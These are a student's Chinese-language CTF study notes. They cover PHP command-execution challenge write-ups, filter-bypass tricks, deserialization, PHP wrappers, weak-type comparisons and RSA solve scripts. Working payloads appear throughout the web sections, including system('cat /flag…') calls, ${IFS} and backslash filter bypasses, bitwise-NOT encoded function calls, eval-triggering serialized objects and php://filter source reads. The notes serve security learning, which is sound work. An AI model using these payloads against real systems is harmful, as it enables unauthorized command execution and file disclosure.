web复现2

[SWPUCTF 2021 新生赛]finalrce

先进行代码审计,可以看出需要利用get传入一个参数,并且利用if和preg_match()函数过滤了一系列的字符串

在这里深入的再次介绍exec()函数

1
2
exec(string $command, array &$output = null, int &$result_code = null): string|false

exec()执行command参数所指定的命令,如果提供了output参数,会将命令执行的输出填充此数组,每行输出填充数组中的一个元素。如果同时提供output和result_code参数,命令执行后返回 的结果会被写到result_code ,返回命令执行结果的最后一行内容

所以这里直接执行命令是没有回显的,这里需要用到一个tee命令

tee命令会读取标准输入数据,并将其内容输出成文件。

基本的结构为

1
command |tee file.txt

|命令连接符,前语句假直接报错,后面不执行。反之,前语句真,后面执行。

还需要绕过ls

1
/?url=l\s / |tee 1.txt

这里的\转义字符是用于在外壳程序中转移字符,使控制字符成为字面量,而失去其在外壳程序中控制符的含义

然后去访问/1.txt

看到文件,且没有过滤tac,直接去读取

1
/?url=tac /flllll\aaaaaaggggggg |tee 2.txt

访问2.txt

得到了flag

[UUCTF 2022 新生赛]ez_rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}

首先进行代码审计,首先可以看见过滤了一大堆符号,然后看见了eval()函数

构造payload:/?code=printf(l\s /);

然后会看到fffffffffflagafag,然后获取文件的内容

因为过滤了cat和tac,因此再次使用\字符

payload:/?code=printf(c\at /fffffffffflagafag);

得到flag

web 题解复现1

[SWPUCTF 2021 新生赛]easyrce

首先进行代码审计

发现了eval()函数eval()函数是命令执行函数,常见的命令执行函数还有

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

直接使用system()函数查看根目录下面有什么

system()函数的作用为执行系统命令并输出结果

plyload:?url=system(“ls%20/“);//%20是空格的url编码

此处为什么要有空格

在命令执行的时候,空格是一个非常重要的分隔符,主要用于区分命令的不同组成部分,主要有四种用处

  1. 分隔命令名称与参数
  2. 分隔多个参数
  3. 处理特殊字符的安全性
  4. 影响某些特定功能的行为

到这个这个页面,我们看到了一个疑似flag的文件,我们去尝试获取文件的所有内容

payload:?url=system(“cat%20/flllllaaaaaaggggggg”);

这样我们就得到了这道题的flag

[SWPUCTF 2021 新生赛]hardrce

首先进行代码审计

if的条件要求是$_COOKIE[‘admin’]是否等于1;我们先尝试着满足条件

此时回显了一个php文件,我们去访问它

首先会看到preg_match()函数用于执行一个正则表达式匹配,搜素字符串与给定模式匹配的内容

这行代码的意思是过滤了空格

再往下看,看到了shell_exec()函数,考虑是命令执行

shell_exec()函数与exec()函数的区别:

  1. shell_exec()函数返回值: 返回命令执行后的完整输出作为字符串。而exec()函数返回值: 返回命令执行结果的最后一行输出,而不是整个输出。此外,它还可以通过引用参数获取输出的每一行和返回状态。

    IFS是一个特殊环境变量,叫做内部字段分隔符

    1
    ?url=ls${IFS}/

    $ IFS$1(1可以换成其它的数字)$IFS$9,${IFS},$IFS,都能代替空格,

    payload:?url=ls$IFS$9/

然后我们就要获取文件里的内容,仍要注意不能使用空格

payload: ?url=cat${IFS}/flllllaaaaaaggggggg

最后得到flag

一道简单的反序列化

首先进行代码审计,我们可以发现定义了一个名字叫Fun的类,变量fun创建了一个新的队形,变量ser是变量fun的反序列化,当传入的变量un和ser相等时,才会输出flag

复制代码在本地运行,输出ser变量

c643f2a5aee7fd20d6377bbea91ff0e1

payload: ?un=O:3:”Fun”:3:{s:4:”name”;s:5:”vFREE”;s:3:”age”;s:2:”19”;s:4:”look”;s:8:”handsome”;}

这样就得到了flag

[SWPUCTF 2021 新生赛]hardrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

进行代码审计,可以发现代码过滤了一大堆的符号和字母

还有eval语句

对需要使用的函数进行取反,然后进行url编码,之所以使用取反操作,是因为取反操作基本上用的是不可见字符,所以不会触发正则匹配

~进行取反操作,在php种urlencode()函数用于对字符串进行url编码

1
2
3
4
5
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>

然后 分别取反,构造payload:?wllm=(%8C%86%8C%8B%9A%92)(%93%8C%DF%D0);

bd1baf0e2d3867582e9937cca4da2b31

相同的道理将获取文件内容同样取反

1
2
3
4
5
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>

payload:?wllm=(%8C%86%8C%8B%9A%92)(%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

最后得到flag

strlen+intval绕过

进行代码审计, PHP 中,intval() 函数用于将变量转换为整数类型。它会尝试从给定的变量中提取一个整数值,并根据需要进行类型转换。

strlen()函数是求长度的函数

这道题需要满足的条件是num的长度小于等于四,并且num+1经过intval()处理后大于500000

这里可以使用到科学计数法,5e5表示5乘10的5次方

payload:?num=5e5;

rec eval执行

d11182321d3620cd3a7f11e2cf6df8e5

进行代码审计,看eval()函数,考虑命令执行

payload:/?cmd=system(“ls /“);

49fbc4fcf55d90dab1243eb24a7abcf3

然后获取文件的内容

payload:/?cmd=system(“cat /flag_1203”);

49fbc4fcf55d90dab1243eb24a7abcf3

http协议

ec0e39ea1f32223a508857a03345dc77

使用bp抓包,把请求头改为CTFHUB

用bp抓包之后,发现了admin=0

0(false)1(true)

17c6161dbbf9b07fbcaa19aa123c45e0

危险函数

❑system():输出并返回最后一行Shell结果。
**❑passthru()**:只调用命令,把命令的运行结果原样地直接输出到标准
输出设备上。它和system()函数都可以获得命令执行的状态码。
**❑exec()**:不输出结果,只返回最后一行Shell结果,所有结果可以保存
到一个返回的数组里面。
❑popen():打开一个进程管道来执行给定的命令,返回一个文件句柄。由于返回的是一个文件句柄,因此可以对它进行读和写。在PHP3中,对这种句柄只能做单一的操作,要么写,要么读;从PHP4开始,可以对其同时进行读和写。除非这个句柄是以一种模式(读或写)打
开的,否则必须调用pclose()函数来关闭它。
**❑proc_open()**:执行一个命令,并且打开用于输入/输出的文件指针。
❑move_uploaded_file():将上传的文件移动到新位置。
**❑eval()**:把字符串作为PHP代码执行。
**❑copy()**:拷贝文件。
**❑shell_exec()**:通过shell环境执行命令,并且以字符串的方式返回完整
的输出。
❑assert($assertion [, string $description]):检查一个断言是否为FALSE。如果assertion是字符串,它将被assert()当作PHP代码来执行

![](C:\Users\21649\Pictures\Screenshots\屏幕截图 2024-12-26 191528.png)

上面的是LINUX平台常用命令的执行格式。

无参数RCE

实际上就是通过调用函数得到想要的字符指令的过程

❑$_POST
❑$_GET
❑$_FILES
❑$_ENV
❑$_cookie
❑$_session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(!empty('code'))
{
if (';' === preg_replace('/[\/\*W\s]+/','', $code)) ;//使用函数尝试从变量中移除所有的换行符,空格,制表符,和/*。如果最后的结果是;,则进行内部条件块
{
eval($code);
}
else{
echo "no,wayyyyy!!!!"
}
}
else{
echo "no ,wayy!!!"
}
?>

1.getallheaders()和apache_request_headers()

getallheaders()是Apache中间件函数,可以用来获取HTTP请求头部
(header)中的所有变量信息(例如User-Agent)。
apache_request_headers()是getallheaders()的别名函数,二者的效果一致。我们可以在header中增加一些自定义的字段,同时在字段值部分指定想要执行的指令。例如,test:system(ls)表示在header中增加了test
字段,其值为system(ls)。此时,如果执行getallheaders(),则可以得到一个包含test字段和其值的结果。我们可以将该自定义字段添加在特定位置(例如header的头部或尾部),然后执行指令。将自定义字段添
加到特定位置是为了方便通过其他函数进行调取。例如,我们如果将test添加在header的尾部,那么就可以使用**end()函数直接获取test的值;
如果将test添加在header的首部,就可以使用
pos()**函数获取test的值。

2.get_defined_vars()

该函数属于通用函数,可以用于回显所有的变量信息

主要包括

❑$_GET
❑$_POST
❑$_FILES
❑$_cookie

命令执行

命令注入漏洞

1.preg_replace()

1
preg_replace(pattern, replacement, subject, limit = -1, &count = 0)
1
2
3
4
5
6
$pattern = '/hello/';
$replacement = 'hi';
$subject = 'hello world, hello everyone!';
$result = preg_replace($pattern, $replacement, $subject);

echo $result; // 输出:hi world, hi everyone!

2.用户自定义的函数可以导致代码执行

1
2
3
4
5
<?php
$dyn_func = $_GET["dyn_func"];
$argument = $_GET["argument"];
$dyn_func($argument);
?>

当用户可以控制函数名和参数时,可能会导致代码的执行。可以进行变量函数,$d什么是一个变量,它存储了一个函数名。在php中可以使用变量来调用函数,这种方式称为变量函数。

例如,如果$d什么的值是一个”strlen“,那么第三行代码相当于调用strlen函数来获取$a什么的长度。

参数传递,$a是传递给函数的参数。它可以是任何php数据类型,具体取决于被调用函数的要求。

例如如果$d什么的值是”echo”,那么第三行代码相当余输出$a什么的值。

3.反引号

在php中,反引号和echo配合的时候,会先执行反引号中的命令,再将结果输出。

1
2
3
<?php
echo'ls -al';
?>

上述代码会先执行指令,然后输出结果。

除了echo之外,php中的echo还有一种用法,即php短标签模式

1
<?=‘ls -al’?>

效果同上。

4.花括号

在php中,双引号字符串” “里可以使用花括号中包裹变量或者表达式,php会对花括号内的内容进行计算,并将结果替换到字符串中

1
2
3
<?php
$var= "aaabbbccccc${'ls'}";
?>

也可以是代码。

5.回调函数

很多函数都可以执行回调函数,当回调函数用户可控时,将导致代码执行

1
2
3
4
5
<?php
$evil_callback =$_GET{"callback"};
$some_array = array{0,1,2,3};
$new_array = array_map($evil_callback,$some_array);
?>

6.反序列化

在PHP中,序列化和反序列化是处理对象或数组等复杂数据类型时非常重要的技术。序列化(Serialization)是将一个复杂数据类型(如对象或数组)转换成一个可以存储或传输的字符串。反序列化(Deserialization)则是将这个字符串还原回原来的复杂数据类型。

serialize() 函数是 PHP 中用于将数据结构(如数组或对象)转换为一个可存储或传输的字符串表示形式的内置函数。这个过程被称为序列化。

1
string serialize ( mixed $value )

unserialize() 函数是 PHP 中用于将序列化后的字符串转换回原来的 PHP 值(如数组或对象)的内置函数。这个过程被称为反序列化。

1
mixed unserialize ( string $str )

两个函数搭配使用

1
2
3
4
5
6
7
8
9
10
11
<?php
class Example
{
var $var = " ";
function __destruct()
{
eval($this->$var);
}
}
unserialize($_GET ["saved_code"])
?>
1
O:7"Example":1:{s:3:"var";s:"system('ls');";}
1.	O:7:"Example":1:

○	O: 表示这是一个对象(Object)。

○	7: 表示对象的类名长度为7个字符。

○	"Example": 类名是Example。

○	1: 表示这个对象有1个属性。

2.	{s:3:"var";s:13:"system('ls');";}

○	s:3:"var":

●	s: 表示这是一个字符串(String)。

●	3: 表示字符串的键名长度为3个字符。

●	"var": 键名是var。

○	s:13:"system('ls');";

●	s: 表示这是一个字符串。

●	13: 表示字符串的长度为13个字符。

●	"system('ls');": 字符串的值是system('ls');。

整体含义

这串反序列化字符串表示一个Example类的对象,该对象有一个属性var,其值为system(‘ls’);。

![](C:\Users\21649\Pictures\Screenshots\屏幕截图 2024-12-25 192858.png)

![](C:\Users\21649\Pictures\Screenshots\屏幕截图 2024-12-25 192908.png)

主要的魔术方法

1、__get、__set 这两个方法是为在类和他们的父类中没有声明的属性而设计的

__get( $property ) 当调用一个未定义的属性时访问此方法

__ set( $property, $value ) 给一个未定义的属性赋值时调用 这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)

__ 2、__isset、__unset isset( $property ) 当在一个未定义的属性上调用isset()函数时调用此方法

__ unset( $property ) 当在一个未定义的属性上调用unset()函数时调用此方法 与__get方法和__set方法相同,这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)

__ 3、__call __call( $method, $arg_array ) 当调用一个未定义(包括没有权限访问)的方法是调用此方法

4、__autoload __autoload 函数,使用尚未被定义的类时自动调用。通过此函数,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。 注意: 在 autoload 函数中抛出的异常不能被 catch 语句块捕获并导致致命错误。

__ 5、__construct、__destruct __construct 构造方法,当一个对象被创建时调用此方法,好处是可以使构造方法有一个独一无二的名称,无论它所在的类的名称是什么,这样你在改变类的名称时,就不需要改变构造方法的名称 __destruct 析构方法,PHP将在对象被销毁前(即从内存中清除前)调用这个方法 默认情况下,PHP仅仅释放对象属性所占用的内存并销毁对象相关的资源.,析构函数允许你在使用一个对象之后执行任意代码来清除内存,当PHP决定你的脚本不再与对象相关时,析构函数将被调用. 在一个函数的命名空间内,这会发生在函数return的时候,对于全局变量,这发生于脚本结束的时候,如果你想明确地销毁一个对象,你可以给指向该对象的变量分配任何其它值,通常将变量赋值勤为NULL或者调用unset。

6、clone PHP5中的对象赋值是使用的引用赋值,使用clone方法复制一个对象时,对象会自动调用__clone魔术方法,如果在对象复制需要执行某些初始化操作,可以在__clone方法实现。

__ 7、__toString __toString方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时,如果类没有实现此方法,则无法通过echo打印对象,否则会显示:Catchable fatal error: Object of class test could not be converted to string in,此方法必须返回一个字符串。 在PHP 5.2.0之前,__toString方法只有结合使用echo() 或 print()时 才能生效。PHP 5.2.0之后,则可以在任何字符串环境生效(例如通过printf(),使用%s修饰符),但 不能用于非字符串环境(如使用%d修饰符) 从PHP 5.2.0,如果将一个未定义__toString方法的对象 转换为字符串,会报出一个E_RECOVERABLE_ERROR错误。

8、__sleep、__wakeup __sleep 串行化的时候用 __wakeup 反串行化的时候调用 serialize() 检查类中是否有魔术名称 __sleep 的函数。如果这样,该函数将在任何序列化之前运行。它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。 使用 __sleep 的目的是关闭对象可能具有的任何数据库连接,提交等待中的数据或进行类似的清除任务。此外,如果有非常大的对象而并不需要完全储存下来时此函数也很有用。 相反地,unserialize() 检查具有魔术名称 __wakeup 的函数的存在。如果存在,此函数可以重建对象可能具有的任何资源。使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。

9、set_state 当调用var_export()时,这个静态 方法会被调用(自PHP 5.1.0起有效)。本方法的唯一参数是一个数组,其中包含按array(’property’ => value, …)格式排列的类属性。

__ 10、__invoke 当尝试以调用函数的方式调用一个对象时,__invoke 方法会被自动调用。PHP5.3.0以上版本有效 11、__callStatic 它的工作方式类似于 __call() 魔术方法,__callStatic() 是为了处理静态方法调用,PHP5.3.0以上版本有效,PHP 确实加强了对 __callStatic() 方法的定义;它必须是公共的,并且必须被声明为静态的。 同样,__call() 魔术方法必须被定义为公共的,所有其他魔术方法都必须如此。
下面我们通过具体题目来讲解反序列化漏洞

1
2
3
4
5
6
7
8
9
10
<?php
require_once('shield.php');
$x = new Shield();//创建了一个shield类的实例
isset($_GET['class']) && $g = $_GET['class'];//检查是否存在class参数,如果存在将其赋值给$g
if (!empty($g)) {
$x = unserialize($g);
}//如果$g不为空,将其反序列化并将其的值赋给$x
echo $x->readfile();
?>//readfile 是一个用于读取文件并将其内容直接输出到浏览器或客户端的函数。
< img src="showing.php?img=c2hpZWxkLmpwZw==&width=100%"/>//HTML标签
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// flag is in flag.php
class Shield {
public $file;
function __construct($filename = '') {
$this->file = $filename;
}
function readfile() {
if (empty($this->file) && stripos($this->file, '..') === FALSE && stripos($this->file, './') === FALSE && stripos($this->file, '/') === FALSE) {
return @file_get_contents($this->file);
}
}
}
?>`

`_wakeup在unserilize()调用之前触发,但如果被反序列化的字符串中对
应的对象的属性个数发生变化时,会导致反序列化失败,同时使__wakeup失效

反序列化进阶

第六届信息安全与网络攻防竞赛WP

计算机-李灿-202408064310

misc

比赛须知

![](C:\Users\21649\Pictures\Screenshots\屏幕截图 2024-12-22 134835.png)

全选变颜色

隐藏的加密标志

打开以后发现是一段有空格,特殊重叠的文本,猜测是零宽隐写,得到隐文以后,发现是base64编码,解码以后得到flag

![](C:\Users\21649\Pictures\Screenshots\屏幕截图 2024-12-22 135250.png)

![](C:\Users\21649\Pictures\Screenshots\屏幕截图 2024-12-22 135309.png)

EZ-antsword

将流量包放在wireshark中追踪http流

image-20241222155422485

decode

先进行凯撒解密,逐次去尝试偏移量,然后把解码后的结果放在随波逐流进行解码

ing

将图片拖入图片隐藏信息网站

![2ae0775f54781eff4e6aa09ba03f4d6](C:\Users\21649\Documents\WeChat Files\wxid_riesr7t61bvs22\FileStorage\Temp\2ae0775f54781eff4e6aa09ba03f4d6.jpg)

密码学

简单恺撒

打开文件以后发现是一段类似flag形式的字母,根据题目进行恺撒解密,由于偏移量不知道,可以一个个试,当偏移量为5时,得到flag

![](C:\Users\21649\Pictures\Screenshots\屏幕截图 2024-12-22 135744.png)

hash

将文件中四个片段分别进行md5解密

解得分别是 dum hackers vs md5

拼凑在一起得到flag

dqdp

exp

from Crypto.Util.number import long_to_bytes import gmpy2 c =

95272795986475189505518980251137003509292621140166383887854853863720692420204142448424074834657149326853553097626486371206617513769930277580823116437975487148956107509247564965652417450550680181691869432067892028368985007229633943149091684419834136214793476910417359537696632874045272326665036717324623992885

p = 11387480584909854985125335848240384226653929942757756384489381242206157197986555243995335158328781970310603060671486688856263776452654268043936036556215243

q = 12972222875218086547425818961477257915105515705982283726851833508079600460542479267972050216838604649742870515200462359007315431848784163790312424462439629

dp = 8191957726161111880866028229950166742224147653136894248088678244548815086744810656765529876284622829884409590596114090872889522887052772791407131880103961

dq = 3570695757580148093370242608506191464756425954703930236924583065811730548932270595568088372441809535917032142349986828862994856575730078580414026791444659
def crt_decrypt(c, p, q, dp, dq):
m1 = pow(c, dp, p)
m2 = pow(c, dq, q)

q_inv = gmpy2.invert(q, p)
p_inv = gmpy2.invert(p, q)
h = (q_inv * (m1 - m2)) % p
m = m2 + h * q
return mm = crt_decrypt(c, p, q, dp, dq)
decrypted_message = long_to_bytes(m)
print(f”Decrypted message: {decrypted_message.decode(‘utf-8’)}”)

最简单的rsa

exp

from sympy import mod_inverse
p = 17640059727611604989

q = 16047050854299782197

n = 283070935521868989079397739112298580833

e = 5 c = 145201805583017946226008699617573671555
phi_n = (p - 1) * (q - 1)
d = mod_inverse(e, phi_n)
m = pow(c, d, n)
message = m.to_bytes((m.bit_length() + 7) // 8, ‘big’).decode(‘utf-8’)
print(“解密后的消息:”, message)

web

猜数字

直接看网页的源代码,寻找flag,找到flag后面字母是base64,进行base64解码,得到flag

image-20241222160745368

![](C:\Users\21649\Pictures\Screenshots\屏幕截图 2024-12-22 140126.png)

pwn

this is for you

将网址复制,放在虚拟机,进行查找flag

reverse

easyre

upx脱壳shift加f12查看字符串。

map

跟据地图

根据键盘上的上为w,下为s,左为a,右为d,的顺序,选出最短的路径,然后将得到的字母进行MD5加密得到结果为0105cbd4e70f11b6a982b82f43ad6272

xor

![7473edb667ba659e894abfd0e737d3e](C:\Users\21649\Documents\WeChat Files\wxid_riesr7t61bvs22\FileStorage\Temp\7473edb667ba659e894abfd0e737d3e.png)

发现是异或,将代码输入异或解密网站进行解密,得到flag

php伪协议

前言

PHP伪协议是PHP自己支持的一种协议与封装协议,简单来说就是PHP定义的一种特殊访问资源的方法。

有些伪协议成功执行需要allow_url_fopen和allow_url_include的支持。

allow_url_fopen On/Off 允许或禁止打开URL文件
allow_url_include On/Off 允许或禁止引用URL文件
什么时候用php伪协议?

文件包括!!!的时候,可能会遇到的文件包含函数

include

require

include_once

require_once

highlight_file

show_source

readfile

file_get_contents

file_put_contents

fopen(比较常见)

)file:// 访问本地文件系统

2)http:// 访问HTTP(S)网址

3)ftp:// 访问FTP(S)URL

4)php:// 访问各个输出输入流

5)zlib:// 处理压缩流

6)data:// 读取数据

7)glob:// 查找匹配的文件路径模式

8)phar:// PHP归档

9)rar:// RAR数据压缩

常见的PHP伪协议

php://input

是一个可以访问请求的原始数据的只读流,获取POST请求数据的协议。

当enctype=“multipart/form-data”的时候,enctype="multipart/form-data" 是 HTML 表单(<form> 标签)中的一个属性,用于指定表单数据在发送到服务器时应该如何编码。当你需要在表单中上传文件时,这个属性是必需的。

具体来说,enctype 是 “encoding type” 的缩写,它定义了表单数据的编码类型。HTML 表单可以支持三种不同的编码类型:

  1. **application/x-www-form-urlencoded**(默认值):这是表单数据的标准编码格式。所有的字符都会进行编码(空格转换为 “+” 加号,特殊符号转换为 ASCII HEX 值)。这种编码类型适用于不包含文件上传的表单。
  2. **multipart/form-data**:这种编码类型用于在表单中包含文件上传。它不会对字符编码,而是将表单数据编码为一条消息,其中包含表示边界的字符串,用于分隔表单中的不同部分。这样,服务器就可以正确地解析文件和数据。
  3. **text/plain**:这种编码类型将表单数据作为纯文本发送,空格和换行符等字符不进行特殊处理。它很少用于实际的表单提交,因为服务器通常期望接收的是编码后的表单数据。

当你需要在表单中让用户上传文件时,你应该使用 enctype="multipart/form-data"。例如:

1
2
3
4
5
<form action="/upload" method="post" enctype="multipart/form-data">
<label for="fileToUpload">选择文件上传:</label>
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="上传文件" name="submit">
</form>

在这个例子中,<form> 标签的 enctype 属性设置为 multipart/form-data,这意味着表单可以包含文件上传。method 属性设置为 post,因为上传文件通常使用 POST 方法。

php://input是无效的。

成功执行的前提是allow_url_include 设置成On

1
2
3
4
5
php
<?php
@include($_GET["file"]);
?>

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
例子php://filter/read=convert.base64encode/resource=index.php
php://filter/resource=index.php

php://filter 伪协议组成:
read=<读链的筛选列表>
resource=<要过滤的数据流>
write=<写链的筛选列表>
php://filter/read=处理方式(base64编码,rot13等等)/resource=要读取的文件

read=convert.base64-encode是将resource指向的内容进行转化,将其变成base64编码,并输出结果.这样处理后的输出不再是一个可执行的 PHP 文件,而是一个 Base64 编码的字符串。因此,可以直接被include_once给输出来

read 对应要设置的过滤器:
常见的过滤器分字符串过滤器、转换过滤器、压缩过滤器、加密过滤器
其中convert.base64-encode ,convert.base64-decode都属于 转换过滤器

1
2
3
4
5
<?php
$a=($_GET["file"]);
echo(file_get_contents($a));//获取文件内容
?>

zip://与bzip2://与zlib://协议

zip:// 等属于压缩流的协议,通过直接压缩普通文件为zip文件,再通过zip:// 协议读取,可以直接执行php代码。压缩后的zip文件可以随意修改后缀也不影响zip://协议读取。(注意是如phpinfo.txt直接压缩为zip,而不是文件夹压缩zip)

1
2
3
4
5
6
<?php
$a=($_GET["file"]);
include($a);
?>


压缩及协议访问格式:

压缩文件为.zip后缀
zip://绝对路径/phpinfo.zip%23phpinfo.php
压缩文件为.bz2后缀
compress.bzip2://绝对路径/phpinfo.zip/phpinfo.php
压缩文件为.gz后缀
compress.zlib://绝对路径/phpinfo.zip/phpinfo.php

include_once($file)

返回值

如果文件成功包含,include_once 将会返回 1。
如果文件没有被找到或者在尝试包含文件过程中有错误,include_once 不会返回任何值,但会产生一个警告(除非 error_reporting 被设置成忽略警告)。

各类文件类型的输出情况

include_once 的参数不是一个 PHP 文件,那么该文件的内容会被直接输出(或执行,如果有可执行的 PHP 代码)到输出流中。具体的行为取决于该文件的内容和类型。

纯文本文件(比如 .txt): 文件的内容会被直接输出。
HTML 文件(比如 .html 或 .htm): HTML 代码会被直接输出,浏览器会按照 HTML 来渲染。
XML 文件或其他标记语言文件: 文件的内容会被直接输出。
二进制文件(比如图片或者音频文件): 这样做通常不是个好主意,因为二进制数据可能会被错误地解释为文本,导致输出乱码或产生不可预测的结果。
包含 PHP 代码的非 PHP 文件: 如果文件中混合有 PHP 代码(即使文件扩展名不是 .php),那么那部分 PHP 代码仍然会被执行。

PHP弱类型

![](C:\Users\21649\Pictures\Screenshots\屏幕截图 2024-12-04 203915.png)

PHP 是一种弱类型(也称为动态类型)的脚本语言。PHP 比较 2 个值是否相等可以用 “ == ” 或 “ === ”,“ == ” 会在比较时自动转换类型而不改变原来的值,因此这个符号经常出现漏洞。如果遇到了 “===” 则不会进行类型转换

null,0,“0”,array(),字母,进制的比较

![](C:\Users\21649\Pictures\Screenshots\屏幕截图 2024-12-04 210205.png)

  1. 字母和数字进行弱类型比较时,字母会转换成”null”
  2. 进制类的字符串在进行弱类型比较时会自动的转换成所对应的数字。

南邮web 起名字矛盾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});//ord是查询ascll码的函数。
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>

54975581388转换成十六进制是0xccccccccc

超过精确度的弱类型问题

超过精确度的数字(小数点后超过17位)在进行弱类型比较时,会出 现相等的情况。例如var_dump(0.99999999999999999==1)的结果为 True。

in_array()函数

in_array()函数的基本格式为:in_array($search,Array()),表示搜索 $search是否为数组Array()的元素。in_array()函数实际上存在第三个参 数,该参数默认为false。如果第三个参数设置为true,则判断$search与 数组的值类型是否相同,即进行强类型比较;若第三个参数设置为 false,则in_array()函数进行判断的时候,会强制将$search的值转换为 数组的值类型,此时就是弱类型比较。

1
2
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

PHP弱类型问题

首先,我们要明确PHP弱类型源于PHP本身就是弱类型语言,它不会严格检验变量的类型。变量可以不显式地声明其类型,而是在运行期间直接赋值。PHP中的等号(=)有多种情况,具体表述如下:

❑= 赋值。

❑== 弱类型比较,先将两端的数据类型进行转换。

❑=== 强类型比较,不转换数据类型,直接比较。

PHP的弱类型问题主要体现在两个变量之间进行弱类型比较(==)的 时候:如果两个变量的类型不一致,就会对变量进行类型转换,变成同一类型,在这个转换过程中,会出现一些特殊情况。 下面,我们针对这些情况讲解CTF Web中常见的考点。

1.科学记数法与MD5值比较

当字符串的格式为“0e+纯数字”时,例如0e12314,PHP会将其按科学记数法进行处理,计算结果一定是0。下面给出 几个示例。(注意等号个数!)

![](C:\Users\asus\Pictures\Screenshots\屏幕截图 2024-12-04 210949.png)

考点分析

在CTF Web中,一般不会对科学记数法单独进行考查,而是会结合其 他函数(例如MD5函数)进行考查。通过之前的学习我们知道,MD5 值应该是唯一的(理论上),所以想找到两个MD5值相等的字符串是 非常困难的。但在结合科学记数法和弱类型的情况下,是存在相等这 种可能性的,具体代码如下:

注:- MD5是一种消息摘要算法(Message - Digest Algorithm 5),在PHP中主要用于对数据(如字符串、文件内容等)进行加密(更准确地说是生成消息摘要)操作。它会将任意长度的数据转换为一个固定长度(128位,通常以32位十六进制字符串表示)的哈希值。

![](C:\Users\asus\Pictures\Screenshots\屏幕截图 2024-12-05 145448.png)

由于是弱类型比较(==),因此可以考虑借助科学记数法进行 绕过,只要提交的字符串以0e开头,后面全是数字即可。

![](C:\Users\asus\Pictures\Screenshots\屏幕截图 2024-12-05 145458.png)

只要使用以上任意两个字符串,即可实现绕过。

还可以通过另一种方法实现绕过

原理:在PHP中,md5()函数只 能用于处理字符串。如果传递过来的数据类型无法被处理(例如数 组),那么md5()函数会返回NULL,导致出现NULL==NULL的情况。

![](C:\Users\asus\Pictures\Screenshots\屏幕截图 2024-12-05 151342.png)

使用数组方式绕过md5()函数时,并不在意使用强类型比较还是弱类型比较,因为NULL==NULL, NULL===NULL,所以,在MD5比较中,数组方式应用得更广泛一些

2.科学记数法比较大小

一般都是设置输入数据的最大长度,然后给出一个更大的数(起码从长度上体现),然后做比较。

比如:最大的3位数是几?

答案并不是999

这个数字可以更大,那就是9e9

![](C:\Users\asus\Pictures\Screenshots\屏幕截图 2024-12-05 151753.png)

其中time()函数是一个时间戳函数,其返回的数字并不是当前的时间,而是自UNIX纪元(格林威治时间1970年1月1日 00:00:00)起到当前时间的秒数。所以该数值的长度显然是大于4的。

所以你就可以提交9e99

3.strcmp 函数问题

strcmp(str1, str2)函数用于对两个字符串进行比较。比较的规则是逐字节比较(根据其ASCII码来比较大小),如果str1>str2,则返回值>0;如果str1<str2,则返回值<0;如果str1=str2,则返回0。类似C语言中的strcmp 函数。

![](C:\Users\asus\Pictures\Screenshots\屏幕截图 2024-12-05 152649.png)

$password变量通过GET请求进行赋值,请求参数为password,如果password参数的值等于’This is password’,那么就输出Right(strcmp的结果为0),否则就输出Wrong(strcmp的结果非 0)

在实际的CTF Web题目中,假设让我们比较的字符串本身是未知的,strcmp()函数本身只能用于比较字符串,这时如果传递其他类型的数据(例如数组),就会导致函数出错,从而返回NULL (0)。

window快捷键

CTRL+A全选

CTRL+S保存

CTRL+Z撤销

CTRL+C复制

CTRL+V粘贴

CTRL+X剪切

CTRL+SHIFT切换输入法

WINDOW+E快速打开资源管理器

